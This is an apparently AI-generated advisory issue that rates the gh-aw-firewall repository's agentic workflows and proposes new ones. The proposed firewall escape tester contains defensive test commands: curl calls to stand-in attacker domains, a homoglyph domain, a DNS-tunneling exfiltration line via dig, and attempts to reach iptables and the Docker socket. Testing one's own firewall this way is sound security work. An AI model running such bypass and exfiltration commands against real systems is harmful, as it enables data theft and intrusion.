[Pelis Agent Factory Advisor] Agentic Workflow Maturity Assessment and Recommendations

[github-actions[bot]]

📊 Executive Summary

The gh-aw-firewall repository demonstrates strong agentic workflow maturity (Level 3.5 out of 5), with 15 agentic workflows covering security, CI/CD, documentation, and issue management. However, significant opportunities exist to adopt proven Pelis Agent Factory patterns that could enhance automation, reduce maintenance burden, and improve code quality through continuous improvement workflows.

Top Opportunities: Add continuous code quality workflows (simplification, refactoring), implement dependency automation, establish metrics/analytics for cost tracking, and introduce interactive ChatOps for on-demand assistance.

---

🎓 Patterns Learned from Pelis Agent Factory

Core Philosophy Insights

Pelis Agent Factory demonstrates that specialization beats generalization - having dozens of focused workflows is more effective than one monolithic agent. Key principles:

1. Embrace Diversity: Create many specialized workflows as opportunities arise
2. Use Continuously: Run agents in real development workflows, not just demos
3. Observe & Adapt: Learn which patterns succeed through actual usage
4. Share Knowledge: Document effective structures for others to remix

Most Valuable Pattern Categories

Based on both the main gh-aw repository (100+ workflows) and the curated agentics repository (17 "greatest hits"), the most impactful patterns are:

1. Continuous Code Quality ("Continuous X")

• Daily Code Simplifier: Analyzes recent commits, creates PRs with simplifications
• Duplicate Code Detector: Uses semantic analysis to find duplication
• Continuous Refactoring: Ongoing incremental improvements
• Continuous Style: Code consistency enforcement

Why it matters: AI-assisted development produces code faster but sometimes with more complexity. These agents clean up after humans, preventing technical debt accumulation.

2. Meta-Agents (Monitoring the Monitors)

• Metrics Collector: Central nervous system tracking all agent performance
• Portfolio Analyst: Identifies cost reduction opportunities (AI isn't free!)
• Audit Workflows: Meta-agent that audits other agents' runs
• Workflow Health Manager: Ensures the agent ecosystem stays healthy

Why it matters: You can't optimize what you don't measure. Meta-agents revealed that some workflows were unnecessarily expensive.

3. Interactive ChatOps

• Slash Commands: /ask, /fix, /plan for on-demand help
• Reaction-based Triggers: Emoji reactions trigger workflows
• Q&A Agent: Context-aware question answering

Why it matters: Not everything needs to run on schedule. Sometimes you just need an answer NOW.

4. Operational Excellence

• Daily Backlog Burner: Systematically close stale issues with context
• Dependency Updates: Automated dependency management with PR creation
• Performance Analyzer: Track and optimize performance over time
• CI Coach: Analyze pipelines, suggest optimizations

Best Practices from the Factory

Workflow Design:

• Natural language instructions (write like to-do lists)
• Strict permissions (safe-outputs limit mutations)
• Cache-memory for persistent agent state
• Imports for reusable patterns (pagination, common queries)

Operational Patterns:

• skip-if-match/no-match for conditional execution
• Multi-phase jobs for complex workflows
• Draft PRs by default for human review
• Network filtering for security

Security Patterns:

• Read-only by default
• Title-prefix to namespace agent-created content
• Safe-outputs for strict mutation control

---

📋 Current Agentic Workflow Inventory

Workflow	Purpose	Trigger	Assessment
security-guard	Security monitoring	Schedule	✅ Strong security focus
security-review	Daily threat modeling	Daily	✅ Comprehensive security analysis
dependency-security-monitor	Vulnerability tracking	Weekly	✅ Proactive dependency security
ci-doctor	CI failure investigation	workflow_run	✅ Excellent fault diagnosis
ci-cd-gaps-assessment	Pipeline analysis	Monthly	✅ Systematic gap identification
issue-monster	Issue assignment	Hourly/Issues	✅ Smart batch assignment (3 at a time)
issue-duplication-detector	Duplicate detection	Issues	✅ Prevents duplicate work
doc-maintainer	Documentation sync	Daily	✅ Keeps docs current
test-coverage-improver	Test coverage enhancement	Weekly	⚠️ Could be more systematic
update-release-notes	Release automation	Release	✅ Good release hygiene
plan	Planning agent	workflow_dispatch	✅ Interactive planning
pelis-agent-factory-advisor	Meta-advisor	Monthly	✅ Meta-awareness (this workflow!)
smoke-claude	Smoke testing	CI	✅ Multi-engine testing
smoke-copilot	Smoke testing	CI	✅ Multi-engine testing

Overall Assessment: Strong foundation with excellent security coverage. Missing continuous improvement and metrics patterns.

---

🚀 Actionable Recommendations

P0 - Implement Immediately (High Impact, Low Effort)

1. Add Daily Dependency Updates

What: Automated workflow that checks for dependency updates daily and creates PRs

Why:

• Manual dependency updates are time-consuming and often forgotten
• Security vulnerabilities in dependencies need quick patches
• Automated PRs make it easy to review and merge updates

How: Add from agentics collection:

gh aw add githubnext/agentics/workflows/daily-dependency-updates.md

Effort: Low (1-2 hours to configure)

Example Configuration:

---
description: Daily dependency update checker and PR creator
on:
  schedule: daily
  workflow_dispatch:
permissions:
  contents: read
tools:
  bash:
  github:
    toolsets: [default]
safe-outputs:
  create-pull-request:
    title-prefix: "[deps] "
    labels: [dependencies, ai-generated]
    draft: false
timeout-minutes: 10
---

# Daily Dependency Updater

Check for dependency updates and create PRs for outdated packages.

1. Run `npm outdated --json` to check for updates
2. For each outdated package, analyze if it's safe to update
3. Create a PR with the update and test results
4. Include changelog links and breaking change warnings

---

2. Add Question Answering (Q) Workflow

What: Interactive ChatOps workflow triggered by issue comments: @copilot ask <question>

Why:

• Users and contributors need quick answers about firewall behavior
• Saves maintainer time on repetitive questions
• Provides context-aware answers from documentation and code

How: Add from agentics collection:

gh aw add githubnext/agentics/workflows/q.md

Effort: Low (1-2 hours to configure)

Example Use Cases:

• "How do I configure DNS servers?"
• "What domains does the firewall allow by default?"
• "How do I debug blocked traffic?"

---

3. Add Backlog Burner for Stale Issues

What: Weekly workflow that identifies stale issues and creates closing PRs with context

Why:

• Stale issues clutter the backlog and obscure active work
• Automated triage reduces maintainer burden
• Context-aware closing is better than auto-close bots

How: Add from agentics collection:

gh aw add githubnext/agentics/workflows/daily-backlog-burner.md

Effort: Low (2 hours to configure staleness criteria)

Example Configuration:

• Close issues with "waiting-for-feedback" after 30 days
• Close issues with "needs-more-info" after 14 days
• Add comment explaining why and how to reopen

---

P1 - Plan for Near-Term (High Impact, Medium Effort)

4. Implement Continuous Code Simplifier

What: Daily workflow that analyzes recent commits and creates PRs with code simplifications

Why:

• This repository has complex Docker/networking code that accumulates technical debt
• Manual refactoring is often deferred indefinitely
• Automated simplification keeps code maintainable

How: Pattern from Pelis Factory:

gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/code-simplifier.md

Effort: Medium (4-6 hours to customize for TypeScript/Docker code)

Target Areas:

• Nested iptables logic in containers/agent/setup-iptables.sh
• Complex Docker configuration generation in src/docker-manager.ts
• Squid config generation in src/squid-config.ts

---

5. Add Workflow Metrics Collector

What: Meta-agent that tracks performance, cost, and effectiveness of all agentic workflows

Why:

• Currently no visibility into which workflows are expensive vs. valuable
• Need to track token usage and costs
• Can identify workflows that fail frequently or take too long

How: Pattern from Pelis Factory:

gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/metrics-collector.md

Effort: Medium (6-8 hours to set up tracking infrastructure)

Metrics to Track:

• Token usage per workflow
• Success/failure rates
• Execution time
• Cost per run
• PRs created vs. merged ratio

---

6. Add CI Coach for Pipeline Optimization

What: Weekly analysis of CI/CD pipelines with optimization suggestions

Why:

• CI runs are slow (some workflows timeout at 30-45 minutes)
• Could identify caching opportunities, parallel execution, or redundant steps
• Faster CI means faster iteration

How: Pattern from Pelis Factory:

gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/ci-coach.md

Effort: Medium (4-6 hours to customize for Docker-based CI)

Expected Improvements:

• Docker layer caching recommendations
• Parallel test execution suggestions
• Dependency caching optimizations

---

7. Implement Firewall Escape Tester (Domain-Specific)

What: Daily workflow that attempts to bypass firewall restrictions and reports vulnerabilities

Why:

• This is a security-critical tool - proactive testing is essential
• Automated testing catches regressions faster than manual audits
• Documents attack vectors for future reference

How: Custom workflow based on security testing patterns

Effort: Medium-High (8-10 hours to implement comprehensive tests)

Test Categories:

1. Domain Pattern Bypass:

   • Test wildcards: *.example.com vs malicious.example.com.attacker.com
   • Unicode/IDN domain attacks
   • IP address bypasses (192.168.1.1 instead of hostname)

2. Protocol Bypass:

   • Non-HTTP protocols (FTP, SSH tunneling)
   • DNS tunneling for data exfiltration
   • IPv6 bypass when only IPv4 is filtered

3. Container Escape:

   • Attempt to modify iptables after NET_ADMIN is dropped
   • Test Docker socket access
   • Check for privilege escalation paths

4. Timing Attacks:

   • DNS cache poisoning
   • Race conditions in iptables setup
   • TOCTOU vulnerabilities

Example Test Structure:

---
description: Daily firewall escape testing - automated security validation
on:
  schedule: daily
  workflow_dispatch:
permissions:
  contents: read
  issues: read
tools:
  bash:
  github:
    toolsets: [default]
safe-outputs:
  create-issue:
    title-prefix: "[Security] Firewall Bypass: "
    labels: [security, vulnerability]
timeout-minutes: 30
---

# Firewall Escape Tester

You are a security researcher testing the gh-aw-firewall for bypass vulnerabilities.

## Test Categories

### 1. Domain Pattern Bypass Tests
Run these commands and document any successful bypasses:

```bash
# Test 1: Subdomain confusion
awf --allow-domains example.com 'curl https://malicious.example.com.attacker.com'

# Test 2: Unicode/IDN bypass
awf --allow-domains example.com 'curl https://еxample.com'  # Cyrillic 'е'

# Test 3: IP address bypass
awf --allow-domains example.com 'curl https://93.184.216.34'  # IP of example.com
```

### 2. Protocol Bypass Tests
```bash
# Test 4: FTP protocol
awf --allow-domains example.com 'curl ftp://ftp.attacker.com'

# Test 5: DNS tunneling
awf --allow-domains example.com 'dig @attacker-dns-server exfiltrate-data.attacker.com'

# Test 6: IPv6 bypass
awf --allow-domains example.com 'curl https://[2606:2800:220:1:248:1893:25c8:1946]'
```

### 3. Container Escape Tests
```bash
# Test 7: Attempt iptables modification
awf --allow-domains example.com 'iptables -L || echo "Blocked (good)"'

# Test 8: Docker socket access
awf --allow-domains example.com 'docker ps || echo "Blocked (good)"'
```

## Reporting

For each successful bypass:
1. Document the exact command
2. Explain the attack vector
3. Assess severity (Critical/High/Medium/Low)
4. Create an issue with reproduction steps
5. Suggest mitigation

For failed bypasses (expected behavior):
- Log to cache-memory for tracking over time

---

P2 - Consider for Roadmap (Medium Impact)

8. Add Performance Benchmarker

What: Weekly workflow that benchmarks firewall overhead and tracks performance over time

Why:

• Need to ensure firewall doesn't significantly slow down container execution
• Catch performance regressions before they reach production
• Track impact of optimization efforts

How: Custom workflow with bash benchmarking

Effort: Medium (4-6 hours)

Metrics:

• Firewall setup time (iptables configuration)
• Network latency overhead
• Container startup time
• Throughput for large transfers

---

9. Add CLI Consistency Checker

What: Weekly analysis of CLI flags, help text, and error messages for consistency

Why:

• CLI UX is critical for a developer tool
• Inconsistent flags or error messages frustrate users
• Automated checking catches UX regressions

How: Pattern from Pelis Factory:

gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/cli-consistency-checker.md

Effort: Medium (3-4 hours)

---

10. Add Daily Progress Reporter

What: Daily summary of repository activity, PR merges, issue closures, and workflow performance

Why:

• Provides visibility into development velocity
• Helps team coordinate and stay informed
• Can catch anomalies (sudden drop in PR merges, spike in failures)

How: Add from agentics collection:

gh aw add githubnext/agentics/workflows/daily-progress.md

Effort: Low-Medium (2-3 hours)

---

P3 - Future Ideas (Low Priority)

11. Add Duplicate Code Detector with Semantic Analysis

What: Weekly workflow using semantic analysis to find duplicate code patterns

Why:

• Reduces maintenance burden
• Identifies refactoring opportunities
• This repo has Docker/config generation code that might have duplication

How: Pattern from Pelis Factory (uses Serena for semantic analysis)

Effort: High (8-10 hours, requires Serena setup)

---

12. Add Multi-Device Documentation Tester

What: Test documentation rendering on mobile/tablet/desktop using Playwright

Why:

• Documentation site (docs-site/) should work on all devices
• Mobile developers may reference docs on phones
• Automated testing catches responsive design issues

How: Pattern from Pelis Factory:

gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/daily-multi-device-docs-tester.md

Effort: Medium-High (6-8 hours, requires Playwright setup)

---

📈 Maturity Assessment

Current Level: 3.5 out of 5

Level Definitions:

• Level 1: No agentic workflows, manual processes only
• Level 2: Basic automation (triage, CI checks)
• Level 3: Multiple specialized workflows covering key areas
• Level 4: Comprehensive coverage with meta-agents and continuous improvement
• Level 5: Full agent ecosystem with metrics, optimization, and self-improvement

Why 3.5?

• ✅ Strong: Security workflows, CI automation, issue management
• ✅ Good: Documentation sync, meta-awareness (advisor)
• ⚠️ Missing: Continuous code quality, metrics/analytics, interactive ChatOps
• ⚠️ Gap: No cost tracking, no performance monitoring

Target Level: 4.0

What's needed to reach Level 4:

1. Implement P0 recommendations (dependency updates, Q&A, backlog burner)
2. Add metrics/analytics (workflow metrics collector)
3. Establish continuous improvement (code simplifier)
4. Introduce interactive patterns (ChatOps workflows)

Time Estimate: 2-3 weeks of focused work on P0 + P1 recommendations

---

🔄 Comparison with Best Practices

What This Repository Does Well

1. Security-First Approach ⭐⭐⭐⭐⭐

   • Three dedicated security workflows (guard, review, dependency monitor)
   • Daily threat modeling and security audits
   • Better than most: Even the gh-aw repository doesn't have this level of security focus

2. Fault Investigation ⭐⭐⭐⭐⭐

   • CI Doctor automatically investigates failures
   • Creates actionable issues with root cause analysis
   • Matches best practice: Follows Pelis Factory pattern exactly

3. Meta-Awareness ⭐⭐⭐⭐

   • Has advisor workflow (this one!) that reviews itself
   • Shows understanding of meta-orchestration value
   • Good: Following Pelis Factory philosophy

What Could Be Improved

1. Continuous Code Quality ⭐⭐

   • Missing daily simplification/refactoring workflows
   • No duplicate code detection
   • Gap: Pelis Factory emphasizes "Continuous X" patterns heavily

2. Metrics & Analytics ⭐

   • No metrics collector tracking workflow performance
   • No cost analysis or optimization
   • Critical Gap: Meta-agents are considered essential in Pelis Factory

3. Interactive Workflows ⭐

   • No slash commands or Q&A workflows
   • All workflows are scheduled or event-driven
   • Gap: Missing on-demand assistance patterns

4. Dependency Management ⭐⭐

   • Manual dependency updates
   • No automated PR creation for updates
   • Common Gap: Many repos miss this pattern

Unique Opportunities (Domain-Specific)

Given that this is a security/firewall tool, there are domain-specific patterns that make sense here:

1. Firewall Escape Testing (Proposed in P1)

   • Automated security validation
   • Proactive vulnerability discovery
   • Unique to security tools: Not in standard Pelis Factory collection

2. Attack Surface Mapping (Future opportunity)

   • Automated cataloging of all entry points
   • Track changes to attack surface over time
   • Security-specific: Highly valuable for security-critical tools

3. Performance Under Load (Proposed in P2)

   • Benchmark firewall overhead
   • Ensure performance doesn't degrade
   • Domain-specific: Critical for infrastructure tools

---

📝 Notes for Future Runs

Tracking Over Time

Baseline Established: January 28, 2026

• 15 agentic workflows (strong foundation)
• Maturity Level: 3.5/5
• Key gaps: Continuous improvement, metrics, ChatOps

Track These Metrics Over Time:

1. Number of agentic workflows
2. Coverage by category (security, testing, docs, etc.)
3. Workflow success rates
4. Time to investigate/resolve issues (CI Doctor effectiveness)
5. PRs created by agents vs. merged

Evolution Tracking

Next Review: March 2026 (2 months)

Questions to Answer Then:

• Were P0 recommendations implemented?
• Did continuous improvement workflows reduce technical debt?
• Is metrics collection providing value?
• Has maturity level increased?

Repository-Specific Observations

Security Domain Considerations:

• This repo has MORE security workflows than the Pelis Factory itself
• The domain expertise is evident in the security-review workflow
• Opportunity: Share these security patterns back to the Pelis Factory

Technical Debt Areas (for continuous improvement workflows):

• Docker configuration generation code (src/docker-manager.ts)
• iptables rule management (containers/agent/setup-iptables.sh)
• Complex logging logic (src/logs/ directory)

Community Engagement:

• Currently 20+ open issues
• Active development (recent commits on main)
• Could benefit from backlog management automation

---

🎯 Immediate Next Steps

Week 1: Quick Wins

1. ✅ Review this advisory (you're doing it now!)
2. ⬜ Add daily-dependency-updates workflow (2 hours)
3. ⬜ Add Q&A (q.md) workflow (2 hours)
4. ⬜ Configure backlog-burner for stale issue cleanup (2 hours)

Week 2-3: High-Impact Additions

1. ⬜ Implement metrics-collector for workflow tracking (1 day)
2. ⬜ Add code-simplifier for continuous improvement (1 day)
3. ⬜ Create firewall-escape-tester (security-specific) (2 days)

Month 2: Optimization

1. ⬜ Add CI Coach for pipeline optimization (1 day)
2. ⬜ Implement performance benchmarker (1 day)
3. ⬜ Review metrics and adjust workflows based on data

Success Criteria

After implementing P0 + P1 recommendations, you should see:

• ✅ Faster dependency updates: Automated PRs instead of manual tracking
• ✅ Reduced maintainer burden: Automated Q&A and backlog cleanup
• ✅ Better code quality: Continuous simplification catching technical debt
• ✅ Visibility: Metrics showing which workflows provide value
• ✅ Security confidence: Escape testing catches vulnerabilities proactively

---

🔗 Resources

Pelis Agent Factory Documentation:

• Main blog: https://githubnext.github.io/gh-aw/blog/2026-01-12-welcome-to-pelis-agent-factory/
• Workflow collection (gh-aw): https://github.com/githubnext/gh-aw/tree/main/.github/workflows
• Curated collection (agentics): https://github.com/githubnext/agentics/tree/main/workflows
• Quick Start: https://githubnext.github.io/gh-aw/setup/quick-start/

Adding Workflows:

# Install gh-aw CLI extension
gh extension install githubnext/gh-aw

# Add a workflow from agentics collection
gh aw add githubnext/agentics/workflows/<workflow-name>.md

# Add a workflow from gh-aw repository
gh aw add https://github.com/githubnext/gh-aw/blob/v0.37.7/.github/workflows/<workflow-name>.md

# Compile workflows (required after adding/editing)
gh aw compile

# Check workflow status
gh aw status

---

Final Thought: This repository already demonstrates strong agentic workflow maturity with excellent security focus. The recommendations above would elevate it to Level 4 maturity, positioning it as a reference implementation for security-focused repositories with comprehensive agent automation. The Pelis Agent Factory patterns are well-suited to this domain, and the proposed firewall escape testing workflow could even be contributed back to the Factory as a security-specific pattern.

🤖 Analysis conducted by Pelis Agent Factory Advisor - January 28, 2026

AI generated by Pelis Agent Factory Advisor

• expires on Feb 4, 2026, 9:03 PM UTC